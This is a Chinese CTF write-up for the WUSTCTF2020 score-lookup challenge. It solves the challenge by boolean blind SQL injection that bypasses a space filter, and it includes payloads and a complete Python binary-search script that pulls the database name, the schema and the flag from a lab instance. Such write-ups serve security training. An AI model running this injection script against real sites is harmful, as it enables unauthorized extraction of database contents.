[WUSTCTF2020]颜值成绩查询

[WUSTCTF2020]颜值成绩查询

先看一下环境,发现两个warning,和一个输入框,网页源码中没有有用的注释。

image

随便输入两个数提交测试,发现功能就是输入一个学号,然后返回对应的成绩,就是一个简单的查询操作。

当输入的学号不存在时,只会返回“student number not exists.”。

应该是一题盲注题,因为看不见其他的回显信息,初步想法是构造值为1或0的表达式来进行探测。

先尝试使用运算符算出1,使用1*1可以查出成绩,并且几次测试后发现做了过滤空格(输入“1 0 0/1 0 0”也可以出结果)。

盲注+过滤空格,可以先构造以下payload进行测试:

1*(ord(substr(database(),1,1))>0)		#可以出结果

这一步确定后,就可以写脚本去爆破数据库了。

基于以前的刷题教训,这里一定要使用二分法进行爆破,速度会快很多。

import requests
import time

url = "http://0e7da1f6-ed29-436e-af3e-441f349ec7e0.node4.buuoj.cn:81/?stunum="

result = ""
i = 0

while (True):
    i = i + 1
    head = 32
    tail = 127

    while (head < tail):
        mid = (head + tail) >> 1

        # payload = "1*(ord(substr(database(), %d,1))>%d)" % (i, mid)

        # payload = "1*(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid)

        # payload = "1*(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i, mid)

        payload = "1*(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)" % (i, mid)
        r = requests.get(url + payload)
        time.sleep(0.5)
        r.encoding = "utf-8"
        # print(url+payload)
        if "your score is: 100" in r.text:
            head = mid + 1
        else:
            # print(r.text)
            tail = mid

    last = result
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

最终爆出数据库名:ctf

表名:flag

字段名:value

值:flag{51d12303-5a0b-4281-b48b-90fa4dd17389}

posted @ 2022-01-21 16:33  Sentry_fei  阅读(631)  评论(0编辑  收藏  举报